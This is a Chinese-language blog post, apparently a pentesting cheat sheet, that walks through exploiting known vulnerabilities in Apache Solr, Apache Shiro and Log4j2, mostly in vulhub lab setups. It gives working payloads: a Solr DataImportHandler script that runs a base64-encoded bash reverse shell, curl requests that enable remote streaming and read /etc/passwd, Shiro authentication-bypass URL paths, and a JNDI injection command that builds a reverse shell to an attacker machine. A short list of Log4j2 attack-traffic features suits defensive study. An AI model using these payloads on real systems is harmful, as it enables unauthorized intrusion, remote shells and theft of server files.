Solr Shiro Log4j2 命令执行--文件读取--反序列化--身份权限绕过--命令执行

solr 远程命令执行 (CVE-2019-17558)

漏洞简介

Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目,旨在确保Web应用程序在表示层和业务逻辑层之间的隔离(即MVC设计模式)。 Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助自定义的Velocity模板功能,利用Velocity-SSTI漏洞在Solr系统上执行任意代码。

影响范围

Apache Solr 5.0.0版本至8.3.1版本

默认端口

8983

漏洞复现

POC下载solr_rce

 python2 .\solr_rce.py 目标IP 命令

solr 远程命令执行漏洞(CVE-2019-0193)

影响范围

Apache Solr < 8.2.0版本

利用条件

条件1:Apache Solr的DataImportHandler启用了模块DataImportHandler(默认不会被启用)

条件2:Solr Admin UI未开启鉴权认证。(默认情况无需任何认证)

漏洞复现

使用得vulhub得靶场,需要提前创建一个core才能进行复现

使用vulhub创建名为test得core

docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

Solr Admin UI未开启鉴权认证就是可以直接访问如下界面,默认得配置就可以直接访问



选择已有核心后选择Dataimport功能并选择debug模式,更改填入以下POC,点击Execute with this Confuguration



POC:

<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,反弹shellbase64加密}|{base64,-d}|{bash,-i}");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>

Solr 文件读取&SSRF (CVE-2021-27905)

漏洞简介

该漏洞是由于没有对输入的内容进行校验,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行SSRF攻击,最终造成任意读取服务器上的文件。

影响范围

Apache Solr <= 8.8.1

漏洞复现

这里启动环境访问之后创建core会报错



需要进入容器复制配置文件到core文件夹

进入容器

docker exec -it 容器id /bin/bash

复制配置文件

cp -r server/solr/configsets/_default/conf /var/solr/data/new_core

完成后再次创建即可成功创建



直接访问该路径查看core

/solr/admin/cores?indexInfo=false&wt=json



使用curl命令访问触发

curl -i -s -k -X $'POST'

-H $'Content-Type: application/json' --data-binary $'{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}'

$'http://目标地址/solr/core名称/config'

curl

-i 查看header头信息

-s 不输出统计信息

-k 使用能忽略证书不受信问题

-X 指定POST请求

-H 添加http请求的标头

-d 用于发送post请求的数据体

直接文件读取

curl -i -s -k 'http://目标主机/solr/core名称/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

Shiro-550反序列化漏洞(CVE-2016-4437)

影响范围

Apache Shiro<=1.2.4

组件特征

在登录框处存在记住我选项,在数据包或返回数据包中存在rememberMe字段

漏洞原理

shiro550:加密过程,将用户身份进行序列化处理,然后进行AES加密,最后使用base64编码,解密过程将用户身份进行base64解码,再使用AES解密,然后将数据进行反序列化处理,在Apache Shiro<=1.2.4版本中AES加密时采用的key是硬编码在代码中的,默认使用默认的key,key并不会变化,我们可以对key进行碰撞枚举,从而伪造序列化数据。

漏洞复现

利用工具

shiro_attack

Shiro-721反序列化漏洞(CVE-2019-12422)

漏洞原理

加密过程中使用了AES-128进行加密,并且加密的所使用的key是随机生成的,只有当我们获得了一个有效的身份认证后才可以进行下一阶段,因此shiro721必须得到一个可以有效的cookie,通过padding oracle填充算法攻击,通过填充信息不同响应时间来逐步判断出加密密钥,从而伪造序列化数据。

Padding Oracle Attack原理

Padding Oracle攻击可以在没有密钥的情况下加密或解密密文

Shiro Padding Oracle Attack(Shiro填充Oracle攻击)是一种针对Apache Shiro身份验证框架的安全漏洞攻击。Apache Shiro是Java应用程序中广泛使用的身份验证和授权框架,用于管理用户会话、权限验证等功能。

Padding Oracle Attack(填充Oracle攻击)是一种针对加密算法使用填充的安全漏洞攻击。在加密通信中,填充用于将明文数据扩展到加密算法块大小的倍数。在此攻击中,攻击者利用填充的响应信息来推断出加密算法中的秘密信息。

Shiro Padding Oracle Attack利用了Shiro框架中的身份验证过程中的一个漏洞,该漏洞允许攻击者通过填充信息的不同响应时间来确定身份验证过程中的错误。通过不断尝试不同的填充方式,攻击者可以逐步推断出加密秘钥,并最终获取访问权限。

这种攻击利用了填充错误的身份验证响应来获取关于秘密信息的信息泄漏,然后根据这些信息进行进一步的攻击。为了防止Shiro Padding Oracle Attack,建议及时更新Apache Shiro版本,确保已修复该漏洞,并采取其他安全措施,如使用安全的加密算法和密钥管理策略。

漏洞复现

利用工具同上shiro_attack

Apache Shiro 身份验证绕过漏洞 (CVE-2020-11989)

影响范围

Apache Shiro < 1.7.1

漏洞利用

Poc:/admin/%20

Apache Shiro 认证绕过漏洞 (CVE-2020-1957)

影响范围

Apache Shiro < 1.5.3

漏洞利用

Poc:/xxx/..;/admin/

Apache Shiro 授权绕过漏洞(CVE-2022-32532)

影响范围

Apache Shiro < 1.9.1

漏洞利用

Poc: /permit/any

/permit/a%0any可绕过

Log4j2远程命令执行(CVE-2021-44228)

影响范围

Apache Log4j2 2.0 - 2.15.0-rc1

漏洞复现

  1. 生成反弹Shell的JNDI注入

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64加密反弹shell}|{base64,-d}|{bash,-i}" -A 攻击机地址

工具地址JNDI-Injection-Exploit

  1. 构造JNDI注入Payload提交
${jndi:rmi://伪造class文件}

攻击流量特征

  • 使用${等关键符号
  • 使用了jdni接口
  • 使用rmi、ldap、协议等

Solr Shiro Log4j2 命令执行--文件读取--反序列化--身份权限绕过--命令执行的更多相关文章

  1. linux命令截取文件最后n行(所有命令)

    linux命令截取文件最后n行(所有命令) tail -n a.txt > b.txt 联想:系统信息 arch 显示机器的处理器架构(1) uname -m 显示机器的处理器架构(2) una ...

  2. linux中如何修改文件夹的用户权限 chown命令

    linux中,可以使用chown命令来修改文件夹的用户权限. 1.  以普通用户 A 登录linux,利用su -切换到root用户 2. 在root用户下,可以看到文件夹内容 3. 但通过文件系统, ...

  3. linux 命令之文件读取,head, tail, tailf, sed

    head 看文件的前100行head -100  filename tail/tailf查看文件的后100行tail -100  filename 或 tail -n 100  filename ta ...

  4. linux chown命令解除文件夹的root权限限制

    sudo chown -R demouser file 这个命令可以解除linux文件的超级权限限制 摘录: chown将指定文件的拥有者改为指定的用户或组,用户可以是用户名或者用户ID:组可以是组名 ...

  5. Linux学习笔记之权限与命令之间的关系(重要)及文件与文件夹知识总结

    一.让使用者能进入某文件夹成为可工作文件夹的基本权限为何: 可使用的命令:比如 cd 等变换工作文件夹的命令. 文件夹所需权限:使用者对这个文件夹至少须要具有 x的权限 额外需求:假设使用者想要在这个 ...

  6. 巧用FTP命令进行文件传输

    巧用FTP进行文件传输   Internet作为现代信息高速公路已深入我们的生活,其中它所提供的电子邮件Web网站信息服务已被越来越多的人所熟知和使用.FTP作为Internet的功能之一,虽然没有像 ...

  7. Linux常用命令之文件查找which、find、locate命令讲解

    在之前的课程中,我们介绍了Linux系统的常用文件处理命令和权限管理命令,今天我们继续来学习Linux操作系统的其他处理命令. 1.文件搜索命令 which 命令解释 命令名称:which 命令所在路 ...

  8. Ubuntu chmod 命令修改文件chmod读写权限

    Ubuntu chmod 命令可以用来修改文件或文件夹的读写权限 chmod 命令有两种使用方式 一. chmod [u/g/o/a] [+/-/=] [r/w/x] filename [ ]里都代表 ...

  9. linux如何修改文件或目录的权限(chmod)

    chmod命令是linux上用于改变权限的命令,-R 是递归遍历子目录,因为你要操作的文件使用的*通配符.777,第一个7代表文件所属者的权限,第二个7代表文件所属者所在组的权限,第三个7代表其它用户 ...

  10. linux笔记:linux常用命令-权限管理命令

    一个文件的权限只有root和所有者可以更改. 权限管理命令:chmod(改变文件或目录的权限) 权限的数字表示: 用权限加减的方式改变权限(u代表所有者,g代表所属组,o代表其他人,a代表所有人): ...

随机推荐

  1. Spring 的依赖注入(DI)

    前言 欢迎来到本篇文章,书接上回,本篇说说 Spring 中的依赖注入,包括注入的方式,写法,该选择哪个注入方式以及可能出现的循环依赖问题等内容. 如果正在阅读的朋友还不清楚什么是「依赖」,建议先看看 ...

  2. JMH – Java基准测试

    官方资源 官方Github样例 应用场景 对要使用的数据结构不确定,不知道谁的性能更好 对历史方法代码重构,要评判改造之后的性能提升多少 (我要做的场景) 想准确地知道某个方法需要执行多长时间,以及执 ...

  3. 如何在 Windows10 Professional 服务器上搭建自己的 Git 服务器。

    一.简介 以前,在别家的公司,一般早就把源代码管理工具搭建好了,很少有机会自己搭建一套.最近,公司也许要把现在不少的源码进行管理,于是我打算自己搭建源代码管理服务器.说起源代码管理,当然有很多中解决方 ...

  4. Java面试题全集(一)

    JDK.JRE.JVM之间的区别 JDK(Java SE Development Kit),Java标准开发包,它提供了编译.运⾏Java程序所需的各种⼯具和资源,包括Java编译器.Java运⾏时环 ...

  5. 【转载】Linux虚拟化KVM-Qemu分析(十一)之virtqueue

    转载自: 作者:LoyenWang 出处:https://www.cnblogs.com/LoyenWang/ 公众号:LoyenWang 版权:本文版权归作者和博客园共有 转载:欢迎转载,但未经作者 ...

  6. [CF 1780B] GCD Partition

    B. GCD Partition 题意 : 给一个长度为n的序列, 并将其分成连续的k块(k > 1), 得到序列b, 使得 \(gcd(b_{1}, b_{2}, b_{3}, ..., b_ ...

  7. Cloudflare 重定向配置

    最近把之前的一个网站域名换成另一个域名,想要添加一下重定向,避免流量流失(虽然本来就没流量).然后在 Cloudflare 配置时尝试多次都失败了,遇到各种 Your connection is no ...

  8. 超越.NET极限:我打造的高精度数值计算库

    超越.NET极限:我打造的高精度数值计算库 还记得那一天,我大学刚毕业,紧张又兴奋地走进人生第一场.NET工作面试.我还清楚地记得那个房间的气氛,空调呼呼地吹着,面试官的表情严肃而深沉.我们进行了一番 ...

  9. CoaXPress 2.0 FPGA HOST IP Core Linux Demo

    目录 Hello-FPGA CoaXPress 2.0 Host FPGA IP Core Linux Demo 4 1 说明 4 2 设备连接 7 3 VIVADO FPGA工程 7 4 调试说明 ...

  10. [nginx]编译安装openresty

    前言 OpenResty是一个基于Nginx和Lua的高性能Web平台,其内部集成了大量精良的Lua库.第三方模块以及大多数的依赖项.用于方便地搭建能够处理超高并发.扩展性极高的动态 Web 应用.W ...